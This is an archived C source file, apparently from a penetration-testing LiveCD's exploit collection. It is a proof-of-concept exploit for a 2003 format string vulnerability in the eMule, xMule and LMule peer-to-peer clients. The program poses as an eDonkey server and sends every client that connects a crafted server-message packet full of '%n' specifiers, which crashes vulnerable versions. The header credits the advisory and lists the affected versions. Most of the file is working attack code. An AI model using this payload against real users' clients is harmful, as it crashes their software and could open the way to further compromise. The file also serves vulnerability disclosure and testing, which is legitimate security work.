home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / p2p / emule / messmule.c < prev   
C/C++ Source or Header  |  2005-02-12  |  7KB  |  219 lines

  1. /*
  2.  * eMule/xMule/LMule OP_SERVERMESSAGE Format String vulnerability
  3.  * (SecurityFocus BID 8443)
  4.  * proof of concept code
  5.  * version 1.2 (Sep 01 2003)
  6.  *
  7.  * by RΘmi Denis-Courmont <exploit@simutrans.fr.st>
  8.  *   http://www.simphalempin.com/dev/
  9.  *
  10.  * This vulnerability was found by:
  11.  *   Stefan Esser <s.esser@e-matters.de>
  12.  * whose original advisory may be fetched from:
  13.  *   http://security.e-matters.de/advisories/022003.html
  14.  *
  15.  * Vulnerable:
  16.  *  - eMule v0.29a -> seems to catch exception in the background !?!
  17.  *  - xMule stable v1.4.3 -> crash
  18.  *  - xMule unstable v1.5.6a -> crash
  19.  *  - Lmule v1.3.1 (NOT tested) -> ???
  20.  *
  21.  *   There is something wrong with eMule 0.29a (exception handling) and it
  22.  * refuses to crash.
  23.  *
  24.  * Not vulnerable:
  25.  *  - xMule stable v1.6.0,
  26.  *  - eMule v0.29b.
  27.  *
  28.  *   Exploitation of that vulnerability is unlikely as the format string,
  29.  * and the packet which it comes from, are located on the heap. As such, it is
  30.  * not possible to apply usual stack-based format string exploitation methods.
  31.  * Morever, getting clients to connect to you, while not impossible, will be
  32.  * very very hard: Even though many clients adds current server of other
  33.  * clients to their own server lists, so that you can promote yourself as a
  34.  * server by actively connecting to others, it is unlikely that your "server"
  35.  * will be selected from the list which often exceeds 100 entries.
  36.  *   Anyway, the following proof-of-concept is entirely passive, so you will
  37.  * probably only be able to test it against yourself (which is very fine,
  38.  * because you usually are you only legal victim).
  39.  */
  40.  
  41.  
  42. /*****************************************************************************
  43.  * Copyright (C) 2003  RΘmi Denis-Courmont.  All rights reserved.            *
  44.  *                                                                           *
  45.  * Redistribution and use in source and binary forms, with or without        *
  46.  * modification, are permitted provided that the following conditions        *
  47.  * are met:                                                                  *
  48.  * 1. Redistributions of source code must retain the above copyright         *
  49.  *    notice, this list of conditions and the following disclaimer.          *
  50.  * 2. Redistributions in binary form must reproduce the above copyright      *
  51.  *    notice, this list of conditions and the following disclaimer in the    *
  52.  *    documentation and/or other materials provided with the distribution.   *
  53.  *                                                                           *
  54.  * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR      *
  55.  * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES *
  56.  * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.   *
  57.  * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,          *
  58.  * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT  *
  59.  * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, *
  60.  * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY     *
  61.  * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT       *
  62.  * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF  *
  63.  * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.         *
  64.  *****************************************************************************/
  65.  
  66. #include <stdio.h>
  67. #include <stdint.h>
  68. #include <sys/types.h>
  69. #include <sys/socket.h>
  70. #include <unistd.h>
  71. #include <netdb.h>
  72.  
  73. int gai_errno = 0;
  74.  
  75. void
  76. gai_perror (const char *str)
  77. {
  78.     if ((gai_errno == EAI_SYSTEM) || (gai_errno == 0))
  79.         perror (str);
  80.     else
  81.         fprintf (stderr, "%s: %s\n", str, gai_strerror (gai_errno));
  82. }
  83.  
  84.  
  85. int
  86. socket_listen (const char *hostname, const char *servname)
  87. {
  88.     struct addrinfo hints, *res;
  89.  
  90.     hints.ai_family = PF_INET;
  91.     hints.ai_socktype = SOCK_STREAM;
  92.     hints.ai_protocol = 0;
  93.     hints.ai_flags = AI_PASSIVE;
  94.  
  95.     if ((gai_errno = getaddrinfo (hostname, servname, &hints, &res)) == 0)
  96.     {
  97.         struct addrinfo *ptr;
  98.  
  99.         for (ptr = res; ptr != NULL; ptr = ptr->ai_next)
  100.         {
  101.             int sock;
  102.  
  103.             sock = socket (ptr->ai_family, ptr->ai_socktype,
  104.                     ptr->ai_protocol);
  105.             if (sock != -1)
  106.             {
  107.                 const int val = 1;
  108.  
  109.                 setsockopt (sock, SOL_SOCKET, SO_REUSEADDR,
  110.                         &val, sizeof (val));
  111.                 if (bind (sock, ptr->ai_addr, ptr->ai_addrlen)
  112.                  || listen (sock, INT_MAX))
  113.                     close (sock);
  114.                 else
  115.                 {
  116.                     /* success! */
  117.                     freeaddrinfo (res);
  118.                     return sock;
  119.                 }
  120.             }
  121.         }
  122.         freeaddrinfo (res);
  123.     }
  124.     return -1;
  125. }
  126.  
  127.  
  128. int
  129. send_server_message (int fd/*, const char *message*/)
  130. {
  131.     /*
  132.      * Note that eDonkey is an Intel-centric protocol that sends/receives
  133.      * everything in counter-network-byte order (ie. low order first).
  134.      */
  135.     uint8_t buf[] =
  136.         "\xE3" // protocol
  137.         "\x70\x01\x00\x00" // packet size
  138.         "\x38" // command (Server message)
  139.         "\x6D\x01" // message length (xMule ingores it, eMule reads it)
  140.         "%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n\n"
  141.         "Welcome to messmule, a proof-of-concept for:\n"
  142.         "eMule/xMule/Lmule OP_SERVERMESSAGE\n"
  143.         "Format String Vulnerability\n"
  144.         "%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n\n"
  145.         "If you can read this message from your Server info box,\n"
  146.         "your client is probably not affected by that vulnerability.\n"
  147.         "%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n\n"
  148.         ;
  149.  
  150.     return (send (fd, buf, sizeof (buf) - 1, 0) != (sizeof (buf) - 1));
  151. }
  152.  
  153.  
  154. static int
  155. usage (const char *path)
  156. {
  157.     printf (
  158. "Syntax: %s [port [hostname|IP]]\n"
  159. "        Attempt to crash eMule/xMule/LMule clients which will connect to\n"
  160. "        the specified server port (or 4661 by default), at the local\n"
  161. "        host address (or any available address by default)\n", path);
  162.  
  163.     return 2;
  164. }
  165.  
  166.  
  167. int
  168. main (int argc, char *argv[])
  169. {
  170.     puts ("eMule/xMule/LMule OP_SERVERMESSAGE Format String vulnerability "
  171.             "proof of concept\n"
  172.         "Copyright (C) 2003 RΘmi Denis-Courmont "
  173.             "<exploit@simutrans.fr.st>\n");
  174.     if (argc > 3)
  175.         return usage (argv[0]);
  176.     else
  177.     {
  178.         int listenfd;
  179.         const char *host, *port;
  180.  
  181.         port = (argc < 2) ? "4661" : argv[1];
  182.         host = (argc < 3) ? NULL : argv[2];
  183.         printf ("Binding to [%s]:%s ...\n",
  184.             (host != NULL) ? host : "any", port);
  185.         listenfd = socket_listen (host, port);
  186.         if (listenfd == -1)
  187.         {
  188.             gai_perror (host);
  189.             return 1;
  190.         }
  191.  
  192.         while (1)
  193.         {
  194.             int clientfd;
  195.  
  196.             fputs ("Waiting for a client to connect ... ", stdout);
  197.             clientfd = accept (listenfd, NULL, 0);
  198.             if (clientfd == -1)
  199.             {
  200.                 puts ("");
  201.                 perror ("Error");
  202.                 continue;
  203.             }
  204.             puts ("OK");
  205.             fputs ("Sending server message ... ", stdout);
  206.             if (send_server_message (clientfd))
  207.             {
  208.                 puts ("");
  209.                 perror ("Error");
  210.             }
  211.             else
  212.                 puts ("Done");
  213.             close (clientfd);
  214.         }
  215.     }
  216.  
  217.     return 0; /* dead code */
  218. }
  219.